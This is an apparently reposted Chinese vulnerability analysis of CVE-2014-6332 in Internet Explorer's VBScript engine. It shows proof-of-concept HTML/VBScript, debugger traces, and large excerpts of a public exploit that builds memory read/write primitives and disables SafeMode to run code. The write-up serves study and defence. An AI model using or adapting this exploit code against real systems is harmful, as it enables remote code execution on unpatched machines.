Internet Explorer漏洞分析(三)[下]—

Internet Explorer漏洞分析(三)[下]——CVE-2014-6332
2021-03-18 20:28:56 Author: xz.aliyun.com(查看原文) 阅读量:184 收藏

0x01 漏洞信息

0x01.1 漏洞简述

编号：CVE-2014-6332
漏洞影响：远程代码执行(RCE)
CVSS 2.0：9.3

oleaut32.dll中SafeArrayRedim在进行数组重新定义时未对传入参数psaboundNew进行有效校验，以致可以越界读写，进而造成任意代码执行。

0x01.2 漏洞影响

Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1

0x01.3 修复方案

MS14-064

0x02 漏洞分析

0x02.1 分析环境

OS版本：Windows 7 Service Pack 1
Internet Explorer版本：8.0.7601.17514
oleaut32.dll版本：6.1.7601.17514
vbscript.dll版本：5.8.7601.17514

0x02.2 前置知识

请移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探。

0x02.3 详细分析

分析所用POC如下：

<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    Dim arrayA()
    Dim size
    Dim over
    size = &h5
    over = &h8000000 + size
    Redim Preserve arrayA(size)

    Redim Preserve arrayA(over)
    arrayA(size+1) = "Hello"
</script>
</body>
</html>

打开该POC，使用WinDbg附加调试，于vbscript!RedimPreserveArray函数处设断，允许阻止的内容：

执行到call oleaut32.dll!SafeArrayRedim处，跟进分析：

首先是判断传入参数psa与psaboundNew均不为空：

之后对psa.fFeatures，psa.cDims及psa.cLocks进行判断：

call SafeArraySize计算数组元素占用空间大小：

将psaboundNew写入psa.rgsabound中：

调整后数组：

计算调整后数组元素占用空间大小，减去原来数组元素占用空间大小：

由于此时ebx=80000000，故执行结果为负数指令分支：

ole32!CRetailMalloc_Alloc函数用于为HeapAlloc传递参数并调用之：

由于申请空间远远超过可分配空间大小，故分配失败，直接跳转到函数末返回错误值：

由此，便可实现任意地址读写。

下面来看看正常执行流程，修改POC如下：

<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    Dim arrayA()
    Dim size
    Dim over
    size = &h6
    resize = &h4
    Redim Preserve arrayA(size)
    arrayA(0)="Jane"
    arrayA(5)="Alan"
    Redim Preserve arrayA(resize)
    IsEmpty(arrayA)
</script>
</body>
</html>

调整后数组元素占用空间大小-原来数组元素占用空间大小=0x50-0x70=ffffffe0：

对其取相反数后申请如此大小空间：

之后将数组多余元素即arrayA(5)—arrayA(6)复制到此空间内：

call ole32!CRetailMalloc_Realloc重新分配堆块：

总结：

SafeArrayRedim函数在未重新分配空间之前便将psaboundNew写入psa.rgsabound，用以传递给SafeArraySize函数计算调整数组元素大小
sub ebx, [ebp+Size]及test ebx, ebx两条指令用于判断调整数组元素大小—原数组元素大小与零的关系，小于零/大于等于零进入不同分支处理
neg [ebp+psaboundNew]对调整数组元素大小与原数组元素大小差值取相反数，将其传递给HeapAlloc函数分配相应大小堆块

POC中&h8000000(该值经过SafeArraySize函数计算后为0x80000000)正是利用以上三点，实现任意地址读写——test ebx, ebx与jge组合进行有符号数比较，neg对其取反仍为0x80000000。

0x02.4 利用分析

Exp来自yuange。

第一部分：

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)     
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)     
       Create=True
       Exit For
    End If 
  Next
end function

......

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim  Preserve aa(a0) 
    redim   ab(a0)     

    redim  Preserve aa(a2)

    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16             
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then    
                 If(IsObject(aa(a1)) = False ) Then         
                   type1=VarType(aa(a1))
                 end if               
              end if
           else
             redim  Preserve aa(a0)
             exit  function
           end if 
        else
           if(vartype(aa(a1-1))<>0)  Then    
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if               
            end if
        end if
    end if

    '0x6f66 & 0xFFFFBFFF=0x2f66   
    If(type1=&h2f66) then         
          Over=True      
    End If  
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If  

    redim  Preserve aa(a0)          

end function

通过循环不断重新定义数组，扩大数组规模，直至数组aa与ab于内存中相邻(准确来说，二者相差8字节)：

ab(0)=1.123456789012345678901234567890，该值转换IEEE浮点数可通过IEEE 754 Calculator计算：

如此一来，可通过aa数组访问ab数组元素(由ab起始位置偏移8字节)。type1=&h2f66判断是由于GetVarType函数返回前会将vt与0xFFFFBFFF作与运算：

第二部分：

myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)       myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

.......

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)  

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310  
     mydata=aa(a1)
     redim  Preserve aa(a0)  
end function

先来看i=testaa操作——将函数赋值给变量。简化版如下：

<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    sub testaa()
    end sub

    IsEmpty("Test")
    i = testaa
    i = null
</script>
</body>
</html>

于vbscript!VbsIsEmpty断下：

通过ba w 2 1dc9e68与ba w 4 1dc9e68+8两条指令对栈顶设断，第二次断下时，修改vt为0x4C：

第三次断下：

第四次断下，更改vt为0x01(VT_NULL = 0x0001)：

但其仍存储的是vbscript!CScriptEntryPoint对象，其后赋值给i。On Error Resume Next在此处尤为重要，是否加入该语句执行情况对比：

未加入On Error Resume Next语句最终会调用CSession::ReportError：

而不会执行后续i = null语句，感兴趣的读者可自行探索CScriptRuntime::RunNoEH函数，不在这里过多展开(该函数功能复杂，笔者仅是简单跟踪是否加入On Error Resume Next语句的执行流)：

开启任意读写后执行aa(a1)=i：

ab(0)=6.36598737437801E-314：

aa(a1+2)=myarray：

ab(2)=1.74088534731324E-310：

关于此处的调试可于vbscript!VbsIsEmpty函数设断，配合如下修改：

'isempty(ab)
     ab(0)=0

     aa(a1)=i
    'isempty("1")
     ab(0)=6.36598737437801E-314
    'isempty("2")

     aa(a1+2)=myarray
    'isempty("3")
     ab(2)=1.74088534731324E-310
    'isempty("4")

第一次断下后，可获得数组元素存储位置：

mydata=aa(a1)：

第三部分：

function ReadMemo(add) 
    On Error Resume Next
    redim  Preserve aa(a2)  

    ab(0)=0   
    aa(a1)=add+4     
    ab(0)=1.69759663316747E-313       
    ReadMemo=lenb(aa(a1))  

    ab(0)=0    

    redim  Preserve aa(a0)
end function

该函数功能用于读取参数add指向内存，关键函数是cbLengthBstr(具体请参考VBScript Scripting Engine初探——0x05 LenB函数一节)。ab(0)=1.69759663316747E-313：

完成读取：

第四部分：

function setnotsafemode()
    On Error Resume Next
    i=mydata()  
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)  
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0          
              redim  Preserve aa(a2)             
              aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)  

              j=0 
              j=readmemo(i+&h120+k)   

               Exit for
           end if

    next 
    ab(2)=1.69759663316747E-313
    runmumaa() 
end function

第一次读取结果见上文图片，i=readmemo(i+16)第二次读取：

该地址为vbscript!COleScript对象：

通过循环于该对象偏移0x120之后搜寻0x0E，该值用于检查是否处于SafeMode：

aa(a1+2)存储的是之前构造数组对象——myarray：

myarray起始地址为0，rgsabound.cElements为0x7fff0000，故可读写vbscript!COleScript+0x170处内容：

修改完成，进入GodMode，成功弹出notepad.exe。

0x03 参阅链接

Microsoft Docs——SAFEARRAY

文章来源: http://xz.aliyun.com/t/9279
如有侵权请联系:admin#unsafe.sh